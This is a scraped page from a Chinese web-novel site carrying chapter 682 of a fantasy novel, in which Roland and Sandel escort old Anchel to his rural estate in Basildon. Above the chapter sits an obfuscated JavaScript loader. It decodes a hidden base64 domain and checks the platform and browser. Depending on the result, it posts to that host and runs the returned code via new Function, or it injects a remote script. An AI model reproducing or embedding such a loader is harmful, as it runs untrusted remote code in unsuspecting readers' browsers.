妙书阁小说

阅读记录  |   用户书架
上一章
目录 | 设置
下一页
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

第682章 Ch681 老安切尔的家(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

('第682章ch.681老安切尔的家

仙德尔听说过类似的仪式,但多数都没能成功。

她原本打算让罗兰随便糊弄一下这人,然后派萝丝偷走那两把奇物——她和罗兰就能享受一整天的甜蜜约会了(范西塔特小姐也能满足自己那下等低俗的乐趣)。

不过,既然听见‘羊血’。

“烧死?!恩者在上!我们什么都没干!小姐,您怎么能如此草率给一个善良虔诚的教徒定了罪?”

老安切尔有些愤怒。

“我和我的妻子一生行善,哪怕尖刀落到手里,都用来助人抵御野兽。先生,您的朋友真不该这么讲话。”

罗兰丝毫不惊讶仙德尔只凭借一种材料就有猜测,在神秘学上,她和那位德洛兹小姐一样渊博。

“审判庭的人不会和您讲道理,安切尔先生。”

“可您和您的朋友并不来自审判庭!”安切尔对正准备提供帮助的人发了火:“哪怕您掉头离开,我也要说得一清二楚。先生,小姐。您可以侮辱我没有见识,是个彻底的乡下人,侮辱我神志不清,脑袋没有年轻人灵活——”

“唯独不能侮辱我的信仰和尊严!”

“我是个干干净净的,一生都没有犯过错的虔诚教徒!哪怕主教亲临,我都要昂首挺胸!”

罗兰托着腮,渐渐出现的颠簸打断了昏沉:“恕我冒昧,安切尔先生。您支持的党派是——”

安切尔挺了挺胸脯,万分骄傲:“当然是秘党。”

“哦,不难想象。”

也只有那群老东西会这么看中体面与尊严。

换做兰道夫?

只要能帮上自己的家人,哪怕你说他是青蛙和野牛的产物都没问题。

倒是仙德尔被他吓着了,言语怯怯地道了歉,又挤出笑脸,说她再也不会胡乱讲话,惹闹一个真正高贵的老绅士。

安切尔这才满意。

当然,他之后也为自己的‘急切’向仙德尔表示了歉意。

用表情。

大概一秒左右。

“您是个好姑娘,想必也有个好父母…恕我冒昧?”

“他们已经去世了,”仙德尔食指顺着眼尾轻轻一划,神色渐哀:“我被寄养在姨妈家。也是她抚养我长大。”

安切尔先是皱了皱眉,又有些惋惜。

“您也是个可怜人,我得为我之前的话再次道歉。”

仙德尔眼睛笑弯弯的,忙摇头:“谁会因为这样正当的理由生气呢?老先生,我可受过教育。”

一路上虽有小波折,但总体来说平稳(安切尔自认为)。

它们于下午抵达了埃塞克斯的巴西尔登。

也就是…乡下。

虽然它与伦敦相邻,但哪怕你你被生在伦敦城外两英里的土坑里,长大后都不能说自己是‘土生土长’的伦敦人——可以说土生。

“的确是乡下,但乡下也有乡下的好。”

老安切尔为他们介绍自己的小庄园,饲养的动物和精心照料的圃。这里算不上荒,但每一个姓氏都相隔甚远。也就是说,一旦入夜,你很难在没有马车的情况下徒步找到第二束灯火。

“快请进吧,柯…”

“柯林斯。”

“对,柯林斯先生。”

位置乡下,别墅内部的装潢也同样乡下。

罗兰瞧不出太大区别,仙德尔不一样:那些粗狂豪放的毛茬木板,空气中难令人忽视的泥土气味,附庸风雅的雕塑,压根没有名气的画家的油画——以及女仆们浆洗过度泛黄的领口。

罗兰倒觉得挺好。

安切尔老先生有位实干的妻子,嗓音洪亮,待客时虽说稍显粗鲁,却也不在舌头方面到处做胡乱点评。仆人们的服侍不及泰勒家周到,像这样的地区,简单总胜过繁琐。

\x08他们被邀请到用来待客的宽厅,还贴心端上来几碟特色零食:某种绿色植物作为夹心,配黄油搅拌后凝固包裹面粉烤制。安切尔夫人说,酥油球(罗兰认为自己起的这个名字更好听)蘸的酱是她亲手调配的。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间